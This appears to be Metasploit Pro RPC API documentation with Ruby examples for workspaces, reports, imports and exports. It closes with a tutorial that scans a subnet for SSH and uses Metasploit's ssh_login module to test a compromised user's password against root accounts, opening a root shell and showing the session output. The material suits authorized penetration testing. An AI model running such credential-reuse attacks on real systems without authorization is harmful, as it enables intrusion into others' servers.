Sample Usage of the RPC API

The following scripts provide examples of how you can use the RPC API to perform common tasks. These examples can be viewed in metasploit/apps/pro/api-example.

Adding a Workspace

ruby
1
#
2
# NOTE: Workspace and Project are the same thing.
3
#
4
require_relative 'metasploit_rpc_client'
5
workspace_attrs = {
6
7
name: "FooCorp Pentest",
8
limit_to_network: true,
9
boundary: "10.2.3.1-10.2.3.24",
10
description: "A test of FooCorp's mission-critical internal Quake LAN."
11
}
12
13
# Setup stuff from CLI
14
api_token = ARGV[0]
15
host = ARGV[1]
16
17
# Make the client - set ssl to true in install environments
18
client = MetasploitRPCClient.new(host:host, token:api_token, ssl:false, port:50505)
19
client.call "pro.workspace_add", workspace_attrs

Listing, Downloading, and Generating a Report

ruby
1
# Examples of report listing, download, and generation via RPC API.
2
#
3
# Usage:
4
# ruby report_api_test.rb <SERVICE KEY> <MSPro instance> '<WorkspaceName>'
5
#
6
# Service key: Generate an API token from Global Settings, requires
7
# Pro licensed instance.
8
# MSPro instance: 127.0.0.1 if running locally
9
#
10
#
11
12
require_relative 'metasploit_rpc_client'
13
14
# Setup stuff from CLI
15
api_token = ARGV[0]
16
host = ARGV[1]
17
workspace_name = ARGV[2]
18
19
# Make the client
20
client = MetasploitRPCClient.new(host:host, token:api_token, ssl:false, port:50505)
21
22
## Reports
23
# List report types
24
type_list = client.call('pro.list_report_types')
25
puts "Allowed Report types: \n#{type_list}"
26
27
# List current reports
28
# report_list = client.call('pro.report_list', workspace_name)
29
# puts "\n\nExisting Reports: #{report_list}\n"
30
31
# Download report artifact
32
# report_artifact_id = 1
33
# artifact = client.call('pro.report_artifact_download', report_artifact_id)
34
# tmp_path = "/tmp/report_#{report_artifact_id}#{File.extname(artifact['file_path'])}"
35
# File.open(tmp_path, 'w') {|c| c.write artifact['data']}
36
# puts "Wrote report artifact #{report_artifact_id} to #{tmp_path}"
37
38
# Create a report
39
# report_hash = {workspace: workspace_name,
40
# name: "SuperTest_#{Time.now.to_i}",
41
# report_type: :audit,
42
# #se_campaign_id: 1,
43
# created_by: 'whoareyou',
44
# file_formats: [:pdf]
45
# }
46
# report_creation = client.call('pro.start_report', report_hash)
47
# puts "\n\nCreated report: \n#{report_creation}"
48
49
## Download report and child artifacts
50
# report_id = 1
51
# report = client.call('pro.report_download', report_id)
52
# report['report_artifacts'].each_with_index do |a, i|
53
# tmp_path = "/tmp/report_test_#{i}_#{Time.now.to_i}#{File.extname(a['file_path'])}"
54
# File.open(tmp_path, 'w') {|c| c.write a['data']}
55
# puts "Wrote report artifact #{report_id} to #{tmp_path}"
56
# end

Importing Data

ruby
1
#
2
# Example of data import via the RPC API.
3
#
4
# Usage:
5
# ruby import_api_test.rb <Service key> <MSPro instance> \
6
# '<Project name>' \
7
# '<Full path to import file>'
8
#
9
# Service key: Generate an API token from Global Settings, requires
10
# Pro licensed instance.
11
# MSPro instance: 127.0.0.1, if running locally
12
# Project name: name of an existing workspace into which to import
13
# Import file path: fully qualified path to import file of supported
14
# format
15
#
16
require_relative 'metasploit_rpc_client'
17
18
# CLI arguments
19
api_token = ARGV[0]
20
host = ARGV[1]
21
workspace_name = ARGV[2]
22
import_file_path = ARGV[3]
23
24
unless api_token && host && workspace_name
25
raise Exception, 'You must specify an API token, an instance address, and a workspace name.'
26
end
27
unless import_file_path
28
raise Exception, 'You must specify an import file path.'
29
end
30
31
# Make the client
32
client = MetasploitRPCClient.new(host:host, token:api_token, ssl:false, port:50505)
33
34
# Import config
35
import_hash = {
36
workspace: workspace_name,
37
# Toggle datastore options (documented, with some exceptions, like
38
# this handy one) thusly:
39
# DS_AUTOTAG_OS: true,
40
# TODO Update with correct path:
41
DS_PATH: import_file_path
42
}
43
44
import = client.call('pro.start_import', import_hash)
45
puts "\nStarted import: \n#{import}"

Exporting Data

ruby
1
# Examples of export listing, download, and generation via
2
# RPC API.
3
#
4
# Usage:
5
# ruby export_api_test.rb <SERVICE KEY> <MSPro instance> '<WorkspaceName>'
6
#
7
# Service key: Generate an API token from Global Settings, requires
8
# Pro licensed instance.
9
# MSPro instance: 127.0.0.1 if running locally
10
#
11
#
12
13
require_relative 'metasploit_rpc_client'
14
15
# Setup stuff from CLI
16
api_token = ARGV[0]
17
host = ARGV[1]
18
workspace_name = ARGV[2]
19
20
# Make the client
21
client = MetasploitRPCClient.new(host:host, token:api_token, ssl:false, port:50505)
22
23
### Exports
24
## List current exports
25
export_list = client.call('pro.export_list', workspace_name)
26
puts "Existing Exports: #{export_list}"
27
28
## Create export
29
# export_types = ['zip_workspace','xml','replay_scripts','pwdump']
30
# export_config = {created_by: 'whoareyou',
31
# export_type: export_types[0],
32
# workspace: workspace_name}
33
# export_creation = client.call('pro.start_export', export_config)
34
# puts "Created export: #{export_creation}"
35
36
## Download export
37
# export_id = 1
38
# export = client.call('pro.export_download', export_id)
39
# tmp_path = "/tmp/export_test_#{export_id}#{File.extname(export['file_path'])}"
40
# File.open(tmp_path, 'w') {|c| c.write export['data']}
41
# puts "Wrote export #{export_id} to #{tmp_path}"

Tutorial

Find Linux Servers that allow me to log in as root using a known credential.

Let's lay out the testing scenario. Assume, through one method or another, I've obtained the clear-text password for a single user - Bob. I have Bob's Windows credentials and can easily, through RDP or psexec, access his machine. I've determined that Bob is a Linux Administrator. I wish to determine what, if any, Linux servers allow me to log in as "root" using Bob's compromised password. There are a number of ways to accomplish this. Below is one such method.

1
nmap 10.0.1.1/24 -p22 -oG ssh_scan.gnmap

The file, ssh_scan.gnmap, contains our live hosts and the status of SSH. We'll need to clean up the results file to hone in on only those hosts with SSH "open." The following command does just that and saves the target IPs to a separate file:

1
cat ssh_scan.gnmap | grep open | cut -d " " -f 2 > ssh_hosts.txt

We now have a file named ssh_hosts.txt that contains a list of IP addresses running SSH. Next, let's start Metasploit and the MSGRPC interface:

1
msfconsole msf exploit(handler) > load msgrpc Pass=pa55w0rd
2
[*] MSGRPC Service: 127.0.0.1:55552
3
[*] MSGRPC Username: msf
4
[*] MSGRPC Password: pa55w0rd
5
[*] Successfully loaded plugin: msgrpc msf exploit(handler) >

At this point, Metasploit's RPC interface is listening on port 55552. We can proceed to write our Python script to automate the task of testing SSH logins. I highly recommend you look over Metasploit's Remote API Documentation before proceeding. The following pseudo code addresses our needs:

  • Authenticate to Metasploit's MSGRPC interface (username: msf, password: pa55w0rd).
  • Create a Metasploit console.
  • For each Linux host in the file, run the SSH_login module using Bob's compromised password of 's3cr3t'.
  • Destroy the Metasploit console (clean up to preserve resources).
  • Interact with any SSH sessions established.

A complete listing of the Python source is below (be gentle, I'm not a programmer). To proceed with the testing, I update the user settings at the top of the script to reflect a USERNAME of "root" and a PASSWORD of "s3cr3t" (which is Bob's compromised password). Save the changes and run the Python script:

1
./msfrpc_ssh_scan.py
2
[+] Authentication successful
3
[+] Console 0 created [!] Testing host 10.0.1.43
4
[+] Listing sessions... Session ID Target 1 root@10.0.1.43

Looking at the session listing, the script successfully authenticated as "root" using Bob's password on host 10.0.1.43. Our Metasploit console that we started previously confirms this fact:

1
msf exploit(handler) >
2
[*] Command shell session 1 opened (10.0.2.10:43863 -> 10.0.1.43:22)...
3
msf exploit(handler) > sessions -l
4
Active sessions
5
===============
6
1 shell linux SSH root:s3cr3t (10.0.1.43:22) 10.0.2.10:43863 -> 10.0.1.43:22 (10.0.1.43)